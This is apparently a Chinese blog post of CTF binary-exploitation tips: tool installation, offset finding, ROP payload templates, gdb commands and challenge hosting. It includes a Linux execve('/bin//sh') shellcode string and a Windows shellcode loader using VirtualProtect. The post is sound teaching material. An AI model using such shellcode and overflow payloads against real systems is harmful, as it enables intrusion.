Pwn从开始到开始--pwn题的一些小技巧

pwn题必备的套路

技巧

工具

首先安装pwntools

1
2
3
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

安装pwndbg

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

安装peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
编译x86程序依赖

1
2
sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib

生成x86文件
gcc -m32 -no-pie -fno-stack-protector -z execstack -o stack1 stack1.c
-no-pie会关掉PIE,-fno-stack-protector和-z execstack这两个参数会分别关掉Stack Protector和NX

找到返回地址

x86-如下
gdb ./pwn

‘a’*112+addr_ret
或者

1
2
pattern create 200
pattern search 0x4141313d

或者

1
2
3
ipython
cyclic(200)
cyclic_find('aapa')

x64

生成shellcode

这个联网才可以

结果如下

例子(shellcode):

1
2
shellcode =
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

找内存中函数地址

这需要程序跑完,在gdb里
p system
p callsystem
查看内存
x\16x 0x482054
stack 100
x\s 0x482054
x \gx rsp

搭建pwn题目

查看是否开启随机化(不是0则开启)
cat /proc/sys/kernel/randomize_va_space
关闭随机化
echo 0 > /proc/sys/kernel/randomize_va_space
搭建题目
socat tcp-l:4000,fork exec:./pwn
连接测试
nc 127.0.0.1 4000

coredump

在/etc/profile中加入以下一行,这将允许生成coredump文件
ulimit -c unlimited
在rc.local中加入以下一行,这将使程序崩溃时生成的coredump文件位于/tmp目录下
echo /tmp/core.%e.%p > /proc/sys/kernel/core_pattern
调试coredump文件
gdb ./test test.core
x64找到溢出地点
x \100x $esp-100

libc查询(然而我并没有查到)

http://libcdb.com/

查找到gadget

objdump -d babypwn4 | egrep "ret|pop"

read和write

1
2
3
4
5
6
7
8
9
10
11
read(int 0, void *buf, size_t count);
#使用
read( 0, *buf, count);
'a'*140+p32(read_plt)+p32(ret)+p32(0)+p32(address)+p32(4)
----------------------------------------------------------
write(int 1, const void *buf, size_t nbyte);
#使用
write( 1, *buf, nbyte);
'a'*140+p32(write_plt)+p32(ret)+p32(1)+p32(address)+p32(4)

ELF

1
2
3
elf = ELF('./pwn')
gets_plt = symbols['gets']
buf = elf.bss()

gdb断点

1
2
gdb.attach(p,"break *0x8048884") #断在某一处,因为是断在内核中,需要按几次c,就可以断到0x8048884的地方啦
gdb.attach(p) #不好说,一般断在输入函数结束的地方

学不完的套路

程序段

1
2
3
./le1 &
pidof le1
cat /proc/1705(pid)/maps


gdb里面的返向跑
recored
程序流程
ltrace ./le1
看调用了那些函数
strace ./le1
制作 call syscall和shellcode

1
2
3
4
5
6
ipython
from pwn import *
print shellcraft.sh()
print shellcraft.syscall(0,1,2)
asm('mov eax,11')

这里的\x00\x00\x00坏字符

1
2
3
4
asm('''
xor eax,eax
mov al,11
''')

lay asm

gdb命令

开始

1
2
3
4
5
6
7
8
9
10
11
b *0x0 开始在0出下断点,C语言*为指针 ,表示地址
c 运行到断点停在
b *0x408000
i b 查看断点
delete 1 删除断点1
finish 结束一个函数,返回到上一层
set $cl=0x23 修改寄存器的值
set *(char*)0xfffffffdbf0=0x23
awatch *(char*)0x408500 硬件断点访问
c

linux下shellcode的编写

1、在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能
2、有一个int $0x80来执行系统调用

程序

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<unistd.h>
int main ( int argc, char * argv[] )
{
char * name[2];
name[0] = "/bin/ksh";
name[1] = NULL;
execve( name[0], name, NULL );
return 0;
}

编译

1
gcc -m32 -no-pie -fno-stack-protector -z execstack -o shellcd shellcd.c

gdb加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$gdb shellc
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048406 <+0>: lea ecx,[esp+0x4]
0x0804840a <+4>: and esp,0xfffffff0
0x0804840d <+7>: push DWORD PTR [ecx-0x4]
0x08048410 <+10>: push ebp
0x08048411 <+11>: mov ebp,esp
0x08048413 <+13>: push ebx
0x08048414 <+14>: push ecx
0x08048415 <+15>: sub esp,0x10
0x08048418 <+18>: call 0x8048458 <__x86.get_pc_thunk.ax>
0x0804841d <+23>: add eax,0x1be3
0x08048422 <+28>: lea edx,[eax-0x1b20]
0x08048428 <+34>: mov DWORD PTR [ebp-0x10],edx
0x0804842b <+37>: mov DWORD PTR [ebp-0xc],0x0
0x08048432 <+44>: mov edx,DWORD PTR [ebp-0x10]
0x08048435 <+47>: sub esp,0x4
0x08048438 <+50>: push 0x0
0x0804843a <+52>: lea ecx,[ebp-0x10]
0x0804843d <+55>: push ecx
0x0804843e <+56>: push edx
0x0804843f <+57>: mov ebx,eax
0x08048441 <+59>: call 0x80482f0 <execve@plt>
0x08048446 <+64>: add esp,0x10
0x08048449 <+67>: mov eax,0x0
0x0804844e <+72>: lea esp,[ebp-0x8]
0x08048451 <+75>: pop ecx
0x08048452 <+76>: pop ebx
0x08048453 <+77>: pop ebp
0x08048454 <+78>: lea esp,[ecx-0x4]
0x08048457 <+81>: ret
End of assembler dump.

研究 execve() 函数的执行过程

研究 exit() 函数的执行过程

windows的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>
int main(void)
{
char *shellcode =
"\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b"
"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d"
"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81"
"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03"
"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68"
"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9"
"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01"
"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68"
"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57"
"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78"
"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0";
DWORD why_must_this_variable;
BOOL ret = VirtualProtect(
shellcode,
strlen(shellcode),
PAGE_EXECUTE_READWRITE,
&why_must_this_variable
);
if (!ret)
{
printf("VirtualProtect\n");
return 0;
}
//printf("strlen(shellcode)=%d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}

文学修养

无边落木萧萧下,不尽长江滚滚来。
万里悲秋常作客,百年多病独登台。

Donate
-------------本文结束感谢您的阅读-------------